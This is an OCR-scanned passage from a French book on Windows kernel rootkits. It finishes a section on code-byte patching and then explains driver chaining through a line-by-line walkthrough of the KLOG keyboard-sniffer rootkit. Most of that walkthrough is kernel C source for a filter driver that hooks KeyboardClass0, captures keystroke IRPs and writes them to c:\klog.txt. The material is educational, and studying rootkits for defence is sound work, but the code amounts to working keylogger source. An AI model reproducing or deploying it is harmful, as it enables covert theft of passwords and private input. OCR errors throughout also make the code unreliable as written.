peuvent aussi etre patchees de sorte qu’elles ne puissent plus detecter les fichiers 
troyens ou modifies. Des patchs de fonctions reseau peuvent etre employes pour 
sniffer des paquets et d’autres donnees. Les patchs de microcode (firmware) et du 
BIOS peuvent etre difficiles a detecter. 

Lors de 1’ insertion d’un patch et de code, il faut parfois introduire un grand nombre de 
nouvelles instructions. A partir d’un driver, la meilleure fag on de proceder est 
d’allouer de la memoire non paginee. Pour les patchs moins courants, le code peut etre 
place dans des zones memoire non utilisees. II existe au has de nombreuses pages 
memoire des sections non utilisees appelees cavernes. Aussi parle-t-on parfois 
d'infection de caveme pour designer le fait d’en tirer parti. 

Conclusion 

De maniere generate, le patching direct d’ octets de code est l’une des methodes les 
plus efficaces qui soient pour modifier la logique d’un programme. Quasiment 
n’importe quel code ou logique de programme peut etre modifie. En outre, cette 
technique est assez difficile a detecter, du moins avec les outils actuels de detection de 
rootkits. 

Les patchs d’ octets de code constituent une alternative pour implementer nombre des 
strategies de hooking decrites dans ce livre. Combines a d’autres techniques 
puissantes, telles que l’acces direct au materiel et les dissimulations de memoire 
virtuelle, ils peuvent servir a developper des rootkits tres performants et difficilement 
detec tables. 

Le patching lors de l’execution fait partie des techniques de base du developpement de 
rootkits modemes. 
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Chamage de drivers 


Si une tdche difficile vous incombe, confiez-la a line personne plus 
paresseuse que vous ; elle trouvera une solution plus simple. 

- Loi de Hlade 


Les developpeurs elaborent des solutions ingenieuses pour s’epargner du travail. En 
fait, cette recherche d’economie est la source de nombreuses innovations en matiere de 
codage. La possibility de chainer des drivers est l’une d’elles. En chainant ensemble 
plusieurs drivers, un developpeur peut modifier le comportement d’un driver existant 
sans avoir a en coder un tout nouveau. 

Imaginez que vous vouliez chiffrer le contenu d’un disque dur. Vous pourriez ecrire 
entierement un driver NTFS qui supporte non seulement le mecanisme exact du disque 
mais aussi son protocole NTFS et ses routines de chiffrement. Mais cela n’est pas 
necessaire si vous utilisez des drivers chaines — on parle aussi de superposition de 
drivers (layered drivers). Dans ce cas, vous interceptez simplement les donnees 
lorsqu’elles sont acheminees vers le driver NTFS preexistant et les modifiez en leur 
appliquant un chiffrement. Mais, plus important encore, les details du protocole NTFS 
peuvent etre separes des details physiques du mecanisme du disque. Cette approche 
elegante s’ applique a la plupart des drivers dans T environnement Windows. 
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II existe des chaines de drivers pour pratiquement tous les peripheriques materiels. Le 
driver de plus bas niveau gere 1’acces direct au bus et au peripherique, et ceux situes 
plus haut gerent la mi sc en forme des donnees, les codes d’erreurs et la conversion des 
requetes de haut niveau en detail de manipulation physique plus specifiques. 

Le chainage de drivers est un concept important pour les rootkits car les drivers 
interviennent dans le transfert des donnees echangees vers ou depuis le materiel. Ces 
drivers n’interceptent pas seulement les donnees, ils peuvent aussi les modifier avant 
de les transmettre. Autrement dit, ils sont parfaits pour les developpeurs de rootkits. 

Presque tous les peripheriques du systeme peuvent etre intercepted de cette maniere. 
En outre, le chainage permet au developpeur d’etre paresseux et d’intercepter 
uniquement les donnees qui E interessent. Mais surtout, il lui permet d’eviter les 
complexities du materiel. Par exemple, pour sniffer la frappe au clavier, il lui suffit 
d’inserer son code d’ interception au-dessus du driver de clavier existant. 

Ce chapitre decrit comment utiliser les techniques de chainage pour intercepter et 
modifier des donnees dans un systeme. Nous commencerons par expliquer la fa^on 
dont le noyau Windows gere les drivers et examinerons ensuite dans le detail un 
exemple de driver de filtrage de clavier permettant d’intercepter la frappe. Nous 
terminerons ensuite par une introduction aux drivers de filtrage de fichiers. 

A Tissue de ce chapitre, vous devriez etre capable de comprendre comment se fait 
T interception de la frappe au clavier et la dissimulation de fichier ou de repertoire ou 
sont stockees les donnees capturees. 

Un sniffeur de clavier 

Chainer un driver demande certaines connaissances de base sur la fa£cn dont le noyau 
Windows gere les drivers. Rien de tel qu’un exemple pour comprendre ce point. Dans 
ce chapitre, nous allons creer un rootkit sniffeur de clavier qui utilisera un driver de 
filtrage pour intercepter la frappe. 

Ce sniffeur opere a un niveau beaucoup plus eleve que le controleur de clavier. Il se 
trouve que manipuler un composant materiel aussi simple que ce controleur peut se 
reveler tres problematique (voyez le Chapitre 8 pour un exemple d’acces direct). 
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Au stade ou nous intercepterons les touches pressees, le driver du peripherique 
physique les aura deja converties en paquets de requetes d’E/S, ou IRP (I/O Request 
Racket). Ces IRP sont transferes vers le has et le haut d’une chaine de drivers. Pour 
intercepter la frappe, le rootkit doit simplement venir se greffer dans cette chaine. 

Pour cela, un driver doit d’abord creer un peripherique puis l’inserer dans le groupe de 
peripheriques presents. La distinction entre un peripherique et un driver est importante. 
Elle est illustree a la Figure 6.1. Au niveau implementation, il faut savoir qu’un objet 
driver peut creer un objet peripherique pouvant representer un peripherique physique 
ou logique. 


Figure 6.1 
Illustration de la 
relation entre un driver 
et un peripherique. 



De nombreux peripheriques peuvent s’attacher a la chaine de peripheriques pour des 
raisons legitimes. Par exemple, la Figure 6.2 illustre un ordinateur qui dispose de deux 
outils de chiffrement, BestCrypt et PGP, qui utilisent chacun un driver de filtrage pour 
intercepter la frappe et l’activite de la souris. 

Pour mieux comprendre comment une chaine de peripheriques traite les informations, 
il faut suivre le cheminement d’un IRP depuis sa creation. D’abord, une requete de 
lecture est emise pour lire une touche frappee, ce qui provoque la creation d’un IRP. 
Cet IRP est transmis vers le has de la chaine de peripheriques, avec comme destination 
ultime le controleur 8042. Chaque peripherique a la possibility 
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de modifier 1’IRP ou d’y repondre. Apres que le driver 8042 a extrait du tampon du 
clavier la touche frappee, le scancode — Ndt : attention, le scancode n ’est pas le code 
de touche, ou keycode — correspondant est place dans 1’IRP, qui remonte ensuite la 
chaine. Sur le chemin de 1’IRP vers le haut de la chaine, les drivers peuvent de nouveau 
modifier 1’IRP ou y repondre. 



Figure 6.2 

L 'utilitaire DeviceTree 1 affichant plusieurs peripheriques defiltrage attaches au clavier et a la 

cnuris 


Paquets IRP et I0_STACK_L0CATI0N 

Un IRP est une stmcture parti ellement documentee, allouee par le gestionnaire d’E/S au 
sein du noyau Windows et utilisee pour transferer entre les drivers des donnees 
specifiques aux operations d’E/S. Les drivers superposes sont enregistres dans une 
chaine. Lorsqu’une requete d’E/S conceme ces drivers, un IRP est cree et leur est 
transmis, a tous. Le driver "superieur", le premier de la chaine, le re^oit en premier. Le 
driver "inferieur", le dernier de la chaine, est celui qui est charge de communiquer 
directement avec le materiel. 

Pour chaque nouvelle requete, le gestionnaire d’E/S doit creer un nouvel IRP. Au 
moment oil il le cree, il sait exactement combien de drivers sont enregistres dans 1 


1 . Disponible sur www.osroiiline.com . 
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la chaine et ajoute pour chacun un emplacement supplemental dans 1’IRP sous la 
forme d’une structure IO_STACK_LOCATION. La taille de 1’IRP peut done varier en 
fonction du nombre de drivers presents dans la chaine. L’IRP tout entier reside en 
memoire et ressemble a ce qui est illustre a la Figure 6.3. 


riyure o.j 

Un IRP comprenant 
trois structures 10 
STACK LOCATION. 


En-tete 

de 


Chaque driver de la chaine se voit allouer 
une structure IO„STACK„LOCATION 
dans 1'IRP. 

Chaque structure est ajoutee a la fin de 


ie 

STACK 

LOCATION 


J Emplacement du dernier driver (1)1 


ie 

STACK 

LOCATION 


J Emplacement du driver suivant (2) I 


10 

STACK 

LOCATION 


J Emplacement du premier driver (3) 


L’en-tete de 1’IRP contient un indice de tableau specifiant P emplacement 
IO_STACK_LOCATION courant de la pile ainsi qu’un pointeur vers cet emplacement. 
L’indice debute a 1 et il n’y a pas de membre 0. Dans Pexemple de la Figure 6.3, 1’IRP 
serait initialise avec P indice d’emplacement courant 3 et le pointeur renverrait au 
troisieme membre du tableau. Le premier driver de la chaine serait done appele avec 
un emplacement courant egal a 3. 

Lorsqu’un driver passe un IRP au driver situe sous lui, il utilise la routine ioCall- 
Driver (voir Figure 6.4). Une des premieres actions de cette routine est de decrementer 
Pindice d’emplacement courant. Aussi, lorsque le premier driver de la Figure 6.3 
invoque loCallDriver, Pindice passe a 2 avant que le driver suivant ne soit appele. Puis, 
lorsque le dernier driver est appele, Pindice est a 1. Notez que, si cet indice venait a 
prendre la valeur 0, la machine planterait. 

Un driver de filtrage doit supporter les memes fonctions majeures que le driver situe 
sous lui. Un simple driver "Flello World !" passerait simplement tous les IRP au driver 
sous-jacent. Definir une fonction de passage est aise : 


for(int i = 0; i < IRP_MD_MAXIMUM_FUNCTION; i++) pDriverObject- 
>MajorFunction[i] = MyPassThru; 



158 Rootkits 


Infiltrations du noyau Windows 



Pointeur vers ('emplacement 
courant de la pile 


Figure 6.4 

Un IRP traversant une chaine de drivers possedant chacun son propre emplacement dans la 

nlla 


Dans cet exemple, MyPassThru est une fonction semblable a la suivante : 

NTSTATUS MyPassThru (PDEVICE_OBDECT theCurrentDeviceObject, PIRP theIRP) 

{ 

IoSkipCurrentlrpStackLocation (theIRP); 

Return IoCallDriverfgNextDevice., theIRP); 

} 

L’appel de IoSkipCurrentlrpStackLocation modifie 1’IRP de sorte que, lorsque nous 
invoquons ioCallDriver, le driver sous-jacent recevra la structure IO STACK LOCATION 
de notre driver. Autrement dit, le pointeur vers l’emplacement courant ne sera pas 
modifie 1 . Cette technique permet au driver sous-jacent d’utiliser les memes arguments 
ou routines de terminaison que ceux foumis par le driver situe au-dessus du notre (ce 
qui nous arrange car nous n’avons ainsi pas a initialiser 1’ emplacement du driver sous- 
jacent dans la pile). 

Etant donne que IoSkipCurrentlrpStackLocation ( ) peut etre implemented en tant que 
macro, il faut veiller a toujours utiliser des accolades dans une expression 

conditionnelle : 
if (something) 

{ 

IoSkipCurrentlrpStackLocation () 

} 


1. Pour ceux que les details interessent, IoSkipCurrentlrpStackLocation incremente le 

pointeur, niais 
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Ceci ne fonctionnera pas : 

II Ceci peut provoquer un plantage : 

if(quelque chose) IoSkipCurrentlrpStackLocationQ; 

Bien entendu, cet exemple ne fait rien d’utile. Pour tirer parti de cette technique, nous 
pourrions examiner le contenu des IRP apres qu’ils ont ete traites. Par exemple, des 
IRP sont utilises pour recuperer la frappe au clavier. Ces IRP contiennent les 
scancodes des touches qui ont ete pressees. 

Pour vous permettre de vous familiariser avec ce traitement, nous allons examiner en 
detail le fonctionnement du rootkit KLOG qui implemente un sniffeur de clavier. 


Le rootkit KLOG 

Notre exemple de sniffeur de clavier, qui se nomme KLOG, a ete ecrit par Clandes- 
tiny et est publie sur le site www.rootkit.com . Cette section examine son code ligne 
par ligne. 


Rootkit.com 

Le rootkit KLOG est decrit a I'adresse 
www.rootkit.com/newsread.php7newsidsl87 . 

II peut etre telecharge sur ce site a partir du repertoire vault 
de Clandestiny. 


Notez que KLOG supporte une disposition du clavier anglaise americaine. Etant donne 
que chaque touche pressee est transmise sous la forme d’un scancode et non d’un 
caractere, une etape est requise pour convertir chaque scancode dans le caractere 
correspondant. Ce mapping peut differer selon la disposition du clavier utilisee. 

Pour commencer, la fonction Driver-Entry est invoquee : 

NTSTATUS DriverEntryfIN PDRIVER_OBDECT pDriverObject , IN 
PUNICODE_STRING RegistryPath ) 

{ 

NTSTATUS Status = {0}; 


1. Un exemple connu de driver chaine permettant de fritter la frappe est disponible sur 
www.sysinter- nals.com . II se nomme ctr!2cap et a servi de base au sniffeur KLOG. 
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Dans cette fonction, une routine de passage appelee DispatchPassDown est definie : 

for(int i = 0; 1 < IRP_MD_MAXIMUM_FUNCTION; i++) pDriverObject- 
>MajorFunction[i] = DispatchPassDown; 

Une autre routine est creee specifiquement pour les requetes de lecture du clavier. Elle 
se nomme Dispatch Read : 

// Specifie explicitement les gestlonnaires d'IRP a hooker 
pDriverObj ect->Maj orFunction[IRP_M3_READ] = DispatchRead; 

Maintenant que l’objet driver a ete configure, il faut le relier a la chaine de 
peripheriques. Pourcela, la fonction HookKeyboard est utilisee : 

// Hooke le clavier 

HookKeyboard(pDriverObject) ; 

Voici a quoi ressemble cette fonction plus en detail : 

NTSTATUS HookKeyboard(IN PDRIVER_0B1ECT pDriverObject) 

{ 

// L'objet peripherique de filtrage PDEVICE_OBDECT 
pKeyboardDeviceObj ect; 

La fonction ioCreateDevice sert a creer un objet peripherique. Notez que le 
peripherique ne re^oit pas de nom et qu’il est de type file device keyboard. Notez 
egalement que la taille de device extension est passee ; il s’agit d’une structure definie 
par l’utilisateur : 

// Cree un objet peripherique de type clavier NTSTATUS status 
= IoCreateDevice(pDriverObject, 

sizeof (DEVICE_EXTENSION) , 

NULL, 1/ Pas de nom 
FILE_DEVICE_KEYBOARD, 

0 , 

true, 

&pKeyboardDeviceObject); 

II Verifie que le peripherique a ete cree 
if ( ! NT_SUCCESS(status) ) return status; 

Les flags associes au nouveau peripherique devraient etre definis a l’identique de ceux 
du peripherique clavier sous-jacent. Cette information peut etre obtenue au moyen 
d’un utilitaire comme DeviceTree. Dans le cas d’un filtre de clavier, les flags indiques 
ici peuvent etre utilises : 

pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags | 

(D0_BUFFERED_I0 | D0_P0WE R_PAGAB L E ) ; 

pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags & 
~DO_DEVICE_INITIALIZING; 
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Souvenez-vous que KLOG a specific la taille de device extension lors de la creation 
de l’objet peripherique. II s’agit d’un bloc arbitraire de memoire non paginee qui peut 
etre utilise pour stocker n’importe que lies donnees. Ces donnees seront associees a cet 
objet. KLOG definit la structure device extension comme ceci : 

typedef struct _DEVICE_EXTENSION 

{ 

PDEVICEJDB1ECT pKeyboardDevice; 

PETHREAD pThreadObj; bool 
bThreadTerminate; 

HANDLE hLogFile; 

KEY_STATE kState; 

«SEMAPHORE semQueue; 

KSPIN_LOCK lockQueue; 

LIST_ENTRY QueueListHead; 

}DEVICE_EXTENSIONj *PDEVICE_EXTENSION; 

La fonction HookKeyboard reinitialise cette structure et cree un pointeur pour 

initialiser certains membres : 

RtlZeroMemory(pKeyboardDeviceObj ect->DeviceExtension, 
sizeof (DEVICE_EXTENSION) ) ; 

// Recupere le pointeur vers 1' extension de peripherique PDEVICE_EXTENSION 
pKeyboardDeviceExtension = 

(PDEVICE_EXTENSION)pKeyboardDeviceObj ect->DeviceExtension ; 

Le nom du peripherique clavier sur lequel se chainer est KeyboardClassO. II est converti 
en une chaine Unicode, puis le hook de filtrage est place au moyen d’un appel de 
ioAttachDevice ( ). Le pointeur vers le peripherique suivant (sous-jacent) dans la 
chaine est stocke dans pKeyboardDeviceExtension ->p«eyboardDevice et sera utilise pour 
lui passer les IRP : 

CCHAR ntNameBuffer[64] = "\\Device\\KeyboardClass0"; 

STRING ntNameString; 

UNICODE_STRING uKeyboardDeviceName; 

RtlInitAnsiString(&ntNameStringj ntNameBuffer) ; 
RtlAnsiStringToUnicodeString(&u«eyboardDeviceName J 

&ntNameString, 

TRUE ); 

IoAttachDevice(pKeyboardDeviceObj ect, &uKeyboardDeviceNamej 
&pKeyboardDeviceExtension->pKeyboardDevice ) ; 
RtlFreeUnicodeString(&uKeyboardDeviceName ) ; return 
STATUS_SUCCESS; 

}// Fin de HookKeyboard 

En supposant que 1’ execution de HookKeyboard se soit bien deroulee, KLOG poursuit le 
traitement dans DriverMain. L’etape suivante consiste a creer un thread de travail qui 
peut ecrire la frappe dans un fichier journal. Le thread est requis car les operations de 
fichier ne sont pas possibles dans la fonction de traitement des IRP. 
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Lorsque les scancodes sont places dans les IRP, le systeme opere au niveau d’lRQ 
dispatch_level, auquel les operations de fichier sont interdites. Apres que la frappe a 
ete placee dans un tampon partage, le thread peut la recuperer et l’ecrire dans un 
fichier. Le thread s’ execute a un niveau d’lRQ different, passive level, ou les 
operations de fichier sont autorisees. La definition du thread a lieu dans la fonction 
InitThreadKeyLogger : 

InitThreadKey Logger (pDriverObject) ; 

Voici a quoi ressemble cette fonction plus en detail : 

NTSTATUS InitThreadKey Logger (IN PDRIVER_0B1ECT pDriverObject) 

{ 

Un pointeur vers 1’ extension de peripherique est employe pour initialiser encore 
d’autres membres. KLOG stocke l’etat du thread dans bThreadTerminate, qui devrait 
comporter la valeur taise tant que le thread n’a pas termine de s’executer : 

PDEVICE_EXTENSION pKeyboardDeviceExtension = 

(PDEVICE_EXTENSION)pDriverObj ect->DeviceObj ect->DeviceExtension; 

// Definit le thread comme etant en cours d'execution dans l'extension // 
de peripherique. 

pKeyboardDeviceExtension->bThreadTerminate = taise; 

Le thread est cree en appelant PsCreateSystemihread. Notez que la fonction de 
traitement du thread est specifiee en tant que ThreadKeyLogger et que l’extension de 
peripherique lui est passee comme argument : 

// Cree le thread de travail HANDLE hThread; 

NTSTATUS status = PsCreateSystemThread(&hThread, 

(ACCESS_MASK)0, 

NULL, 

(HANDLE)0, 

NULL, 

ThreadKeyLogger, 
pKeyboardDeviceExtension) ; 

if ( ! NT_SUCCESS(status) ) return status; 

Un pointeur vers l’objet thread est stocke dans l’extension de peripherique : 

// Obtient un pointeur vers l'objet thread ObReferenceObj ectByHandle(hThread, 

THREAD_ALL_ACCESS, 

NULL, 

KernelMode, 

(PVOID*)&pKeyboardDeviceExtension->pThreadObj , 
NULL); 
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II Nous n'avons pas besoin du handle de thread ZwClose(hThread) ; return status; 

} 

De retour dans DriverEntry, le thread est pret. Une liste chainee partagee est initialisee 
et stockee dans l’extension. Cette liste contiendra les touches capturees : 

PDEVICE_EXTENSION pKeyboardDeviceExtension = 

(PDEVICE_EXTENSION) pDriverObj ect->DeviceObject->DeviceExtension ; 
InitializeListHead(&pKeyboardDeviceExtension->QueueListHead) ; 

Un verrou spinlock est initialise pour synchroniser faeces a la liste chainee. Ceci 
pemiet de proteger le thread de la liste, ce qui est tres important. Si KLOG n’utilisait 
pas ce verrou, il pourrait causer un ecran bleu lorsque deux threads tentent d’acceder a 
la liste en meme temps. Le semaphore garde trace du nombre d’ elements dans la file 
de travail (initialement zero) : 

// Initialise le verrou pour la file de la liste chainee 
KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue) ; 

// Initialise le semaphore de la file de travail 

KeInitializeSemaphore(&pKeyboardDeviceExtension->seinQueue, 0, MAXLONG); 

Le bloc de code suivant ouvre un fichier, c: \klog.txt, pour consigner les touches 
frappees : 

// Cree le fichier journal I0_STATUS_BL0CK file_status; 

0B1ECT_ATTRIBUTES obj_attrib; 

CCHAR ntNameFile[64] = "\\DosDevices\\c : \\klog . txt" ; 

STRING ntNameString; 

UNICODE_STRING uFileName; 

RtlInitAnsiString(&ntNameString, ntNameFile) ; 
RtlAnsiStringToUnicodeStringf&uFileName, &ntNameString, TRUE); 
InitializeObjectAttributes(&obj_attrib, &uFileName, 

0B1_CASE_INSENSITIVE , 

NULL, 

NULL); 

Status = ZwCreateFile(&pKeyboardDeviceExtension->hLogFile, 

GENERIC1VRITE, 

&obj_attrib, 

&file_status, 

NULL, 

FILE_ATTRIBUTE_NORMAL, 

0 , 

FILE_0PEN_IF, 

FILE_SYNCHR0N0US_I0_N0NALERT, 

NULL, 

0 ); 
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RtlFreeUnicodeString(&uFileName) ; 

If (Status ! = STATUS_SUCCESS) 

{ 

DbgPrint("Failed to create log file...\n"); 

DbgPrint("File Status = %x\n" ,file_status) ; 

} 

else 

{ 

DbgPrint("Successfully created log file...\n"); 

DbgPrint("File Handle = %x\n", 
pKeyboardDeviceExtension-xhLogFile) ; 

} 

Pour finir, une routine DriverUnload est specifiee a des fins de nettoyage : 

// Definit la procedure DriverUnload pDriverObject->DriverUnload = 

Unload; 

DbgPrint("Set DriverUnload function pointer. .. \n"); 

DbgPrint("Exiting Driver Entry \n"); 

return STATUS_SUCCESS; 

} 

A ce stade, le driver KLOG est attache a la chaine de peripheriques et devrait 
commencer a recuperer les IRP de touches frappees. La routine qui est invoquee pour 

une requete READ est DispatchRead. Examinons-la de plus pres : 

NTSTATUS DispatchRead(IN PDEVICE_OBDECT pDeviceObject , IN PIRP plrp) 

{ 

Cette fonction est appelee lorsqu’une requete read est transmise vers le has de la 
chaine, au controleur de clavier. L’IRP ne contient alors aucune donnee. Nous voulons 
done voir 1’IRP up res que la touche pressee a ete capturee, e’est-a-dire lorsqu’il 
remonte vers le haut de la chaine. 

Le seul moyen d’etre notifie lorsque 1’IRP a termine consiste a defmir une routine de 
terminaison. A defaut de le faire, nous raterons 1’IRP au moment ou il remontera la 
chaine. 

Lorsque nous passons PIRP au peripherique sous-jacent dans la chaine, nous devons 
defmir le pointeur de pile de PIRP. Le terme pile est ici confondant car chaque 
peripherique dispose simplement d’une zone de memoire dans chaque IRP. Ces zones 
privees sont disposees dans un ordre specifique. On emploie les fonctions 
IoGetCurrentlrpStackLocation et IoGetNextlrpStackLocation pour recuperer des 
pointeurs vers ces zones. Un pointeur "courant" doit pointer vers la zone privee du 
driver sous-jacent avant que PIRP ne lui soit transmis. 
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Aussi, avant d’appeler IoCallDriver, nous appelons IoCopyCurrentlrpStack- 
LocationToNext : 

II Copie les parametres counants vers 1 ' emplacement de la pile II du 
driven sous-jacent. 

IoCopyCurrentlrpStackLocationToNext(plrp); 

Notez que la routine de terminaison se nomme OnReadCompletion : 

II Definit la routine de terminaison IoSetCompletionRoutine(plrp, 

OnReadCompletion, 
pDeviceObj ect, 

TRUE, 

TRUE, 

TRUE) ; 

KLOG garde trace du nombre d’IRP en attente ( pending ) de sorte qu’il ne se 
dechargera pas avant d’ avoir termine le traitement : 

II Garde trace du nombre d'IRP en attente numPendingIrps++; 

Enfin, la fonction ioCallDriver est utilisee pour passer 1’IRP au driver sous-jacent. 
Souvenez-vous qu’un pointeur vers ce driver est stocke dans pKeyboardDevice dans 
l’extension de peripherique. 

// Passe l'IRP au driver sous-jacent return IoCallDriver( 

( (PDEVICE_EXTENSION) pDeviceObj ect->DeviceExtension) ->pkeyboardDevice, Plrp); 
}/ / Fin de DispatchRead 

Nous pouvons voir maintenant que chaque IRP read, une fois traite, sera disponible 
dans la routine OnReadCompletion. Examinons les details : 

NTSTATUS OnReadCompletion (IN PDEVICE_0B1ECT pDeviceObject, 

IN PIRP plrp, IN PVOID Context) 

{ 

// Recupere 1' extension de peripherique - nous en aurons besoin plus tard 
PDEVICE_EXTENSION pkeyboardDeviceExtension = 

(PDEVICE_EXTENSION) pDeviceObj ect->DeviceExtension; 

L’etat de l’IRP est examine. Considerez cet etat cornme un code de retour, ou un code 
d’erreur. Si le code est status success, cela signifie que l’IRP s’est termine avec 
succes, et il devrait contenir des donnees de frappe. Le membre SystemBuf f er 
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pointe vers un tableau de structures keyboard_input_data. Le membre iosta- tus. 
Information contient la taille de ce tableau : 

// Si la nequete est terminee, extrait la valeur de la touche if(plrp- 
>IoStatus. Status == STATUS_SUCCESS) 

{ 

PKEYBOARD_I N PUT_DAT A keys = (PKEYBOARD_INPUT_DATA) plrp- 
>AssociatedIrp. SystemBuffer; 

int numKeys = pIrp->IoStatus. Information / 
sizeof (KEYBOARD_INPUT_DATA) ; 

La structure keyboard input data est definie comme suit : 

typedef Struct _KEYBOARD_INPUT_DATA { 

USHORT Unitld; 

USHORT MakeCode; 

USHORT Flags; 

USHORT Reserved; 

ULONG Extrainformation; 

} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA; 

KLOG parcourt maintenant tous les membres du tableau, recuperant une touche pour 
chacun : 

for(int i = 0; i < numKeys; i++) 

{ 

DbgPrint("ScanCode: %x\n"j keys[i] .MakeCode); 

Notez que nous recevons deux evenements : un pour la pression et un pour le 
relachement d’une touche. Nous pouvons nous limiter a un seul d’entre eux pour un 
simple sniffeur de clavier, key make est le flag important ici : 

if (keys [i] .Flags == KEYJ/IAKE) 

DbgPrint("%s\n", "Key Down"); 

N’oubliez pas que cette routine de terminaison est appelee au niveau d’lRQ 
dispatch leveLj ce qui veut dire que les operations de fichier ne sont pas autorisees. 
Pour contoumer cette limitation, KLOG passe au thread les touches frappees via une 
liste chainee partagee. Une section critique doit etre utilisee pour synchroniser l’acces 
a cette liste. Le noyau veille a l’application de la regie qui veut qu’un seul thread a la 
fois puisse executer une section critique. Notez qu’un appel de procedure differe, ou 
DPC (Deferred Procedure Call), ne pourrait pas etre employe ici car ce type d’appel 
s’ execute egalement au niveau dispatch level. 

KLOG alloue de la memoire non paginee et y place le scancode. Ce scancode est 
ensuite place dans la liste chainee. La memoire peut etre allouee uniquement a 
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partir d’un pool non pagine puisque nous nous trouvons au niveau 

DISPATCH_LEVEL . 

KEY_DATA* kData = 

(KEY_DATA*) ExAllocatePool(NonPagedPool, sizeof (KEY_DATA) ) ; 

// Remplit la structure kData avec les donnees de l'IRP kData ->KeyData = 
(char)keys[i] .MakeCode; kData->KeyFlags = (char)keys[l] . Flags; 

// Ajoute le scancode a la file de la liste chainee // pour que notre 
thread puisse l'ecrire dans un fichier. 

DbgPrint("Adding IRP to work queue..."); 
ExInterlockedlnsertTailList(&pKeyboardDeviceExtension->QueueListHead, 

&kDat a -> List Entry, 

&pKeyboardDeviceExtension->lockQueue) ; 

Le semaphore est incremente pour indiquer que des donnees doivent etre traitees : 

// Incremente le semaphore de 1 - pas de WaitForXXX apres cet appel 
KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueuej 

0, 

L 

FALSE); 

}// Fin du for }// Fin 
du if 

// Marque l'IRP comme etant en attente si necessaire if (pIrp->PendingReturned) 
IoMarklrpPending(pIrp); 

Comme KLOG a termine de traiter cet IRP, le compteur d’IRP est decremente : 

numPendinglrps-; 

return pIrp->IoStatus. Status; 

}// Fin de OnReadCompletion 

A ce stade, une touche a ete copiee dans la liste chainee et est disponible pour le thread 
de travail. Examinons a present la routine de ce thread : 

VOID ThreadKeyl_ogger(IN PVOID pContext) 

{ 

PDEVICE_EXTENSION pKeyboardDeviceExtension = 

(PDEVICE_EXTENSI0N) pContext; 

PDEVICE_0B1ECT pKeyboardDeviceObject = 
pKeyboardDeviceExtension->pKeyboardDevice; 

PLIST_ENTRY pListEntry; 

KEY_DATA* kData; // Structure de donnees personnalisee utilisee pour // 
contenir les scancodes dans la liste chainee. 
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KLOG entre maintenant dans une boucle de traitement. Le code attend le semaphore 
en utilisant KeWaitForSingleObj ect. Si le semaphore est increments, la boucle se 

poursuit : 

while(true) 

{ 

// Attend que des donnees deviennent disponibles dans la file 
KeWaitForSingleObj ect( 

&pKeyboardDeviceExtension->semQueue, 

Executive, 

KernelMode, 

FALSE, 

NULL); 

L’element au sommet de la liste est extrait. Notez l’emploi de la section critique. 

pListEntny = ExInterlockedRemoveHeadList( 

&pKeyboardDeviceExtension->QueueListHead, 

&pKeyboardDeviceExtension->lockQueue); 

II n’ est pas possible de terminer des threads du noyau depuis 1’ exterieur. Ces threads 
peuvent seulement se terminer eux-memes. KLOG examine un flag pour determiner 
s’il doit terminer un thread de travail, ce qui devrait se produire uniquement si le 
rootkit est decharge : 

if (pKeyboardDeviceExtension->bThneadTenminate == true) 

{ 

PsTerminateSystemThread(STATUS_SUCCESS); 

} 

La macro containingdrecord doit etre utilisee pour recuperer un pointeur vers les 

donnees contenues dans la structure pListEntry : 

kData = CONTAINING_RECORD(pListEntry, KEY_DATA, ListEntry) ; 

Ici, KLOG obtient le scancode et le convertit en un code de touche a l’aide d’une 
fonction utilitaire, ConvertScanCodeioKeyCode. Cette fonction ne comprend que la 
disposition de clavier anglaise americaine mais pourrait aisement etre remplacee par 
du code valide pour d’autres dispositions de clavier. 

// Convertit le scancode en un code de touche char keys[3] = 

{ 0 }; 

ConvertScanCodeToKeyCode(pKeyboardDeviceExtension, kData, keys); 

// Verifie que la touche a retourne un code valide // avant 
de l'ecrire dans le fichier. if(keys != 0) 
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Si le handle de fichier est valide, la fonction ZwWriteFile est employee pour ecrire le 

code de touche dans le journal : 

// Ecrit les donnees dans un fichier 

if (pKeyboardDeviceExtension->hLogFile != NULL) 

{ 

I0_STATUS_BL0CK io_status; 

NTSTATUS status = ZwWniteFile( 

pKeyboardDeviceExtension->hLogFile, 

NULL, 

NULL, 

NULL, 

&io_status, 

&keys, 

strlen(keys), 

NULL, 

NULL) ; 

if (status ! = STATUS_SUCCESS) 

DbgPrint("Writing scan code to file. . .\n"); 
else 

DbgPrint("Scan code '%s' successfully written to file. \n", keys); }// 
Fin du if }// Fin du if }// Fin du while return; 

}// Fin de ThreadLogKeyboard 

C’est a peu pres tout pour les principales operations de KLOG. Examinons maintenant 
la routine Unload : 

VOID Unload( IN PDRIVER_OBDECT pDriverObject) 

{ 

// Recupere le pointeur vers 1' extension de peripherique PDEVICE_EXTENSION 
pKeyboandDeviceExtension = 

(PDEVICE_EXTENSION) pDriverObject->DeviceObject->DeviceExtension; 

DbgPrint( "Driven Unload Called ... \n" ) ; 

Le driver doit se detacher du peripherique sous-jacent au moyen de la fonction 
IoDetachDevice : 

// Le driver se detache du peripherique sous-jacent auquel il etait hooke 
IoDetachDevice(pKeyboardDeviceExtension->pKeyboardDevice) ; 

DbgPrint("Keyboard hook detached from device. . .\n"); 

Un temporisateur est cree, puis KLOG entre dans une courte boucle jusqu’a ce que le 

traitement de tous les IRP soit termine : 

// Cree un temporisateur KTIMER kTimer; 

LARGE_INTEGER timeout; 

timeout .QuadPart = 1000000;// .1 s 

KelnitializeTimer(&kTimer) ; 
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Si un IRP est dans l’attente d’une touche, le dechargement n’aura pas lieu tant qu’une 

touche n’aura pas ete pressee : 

whilefnumPendinglrps > 0) 

{ 

// Definit le temporisateur 

KeSetTimer(&kTimer, timeout, NULL); 

KeWaitForSlngleObj ect( 

&kTimer, 

Executive, 

KernelMode, 

false, 

NULL); 


KLOG indique maintenant que le thread devrait se terminer : 

// Definit le thread pour qu'il se termine 

pKeyboardDeviceExtension->bThreadTerminate = true; 

// Reveille le thread s'il est bloque et en attente apres cet appel 
KeReleaseSemaphore( 

&pKeyboardDeviceExtension->semQueue, 

0 , 

1 , 

TRUE); 

KLOG appelle KeWaitForSingleObj ect avec le pointeur de thread, attendant que le 
thread se termine : 

// Attend que le thread se termine DbgPrint("Waiting for key logger 
thread to terminate. . .\n"); 

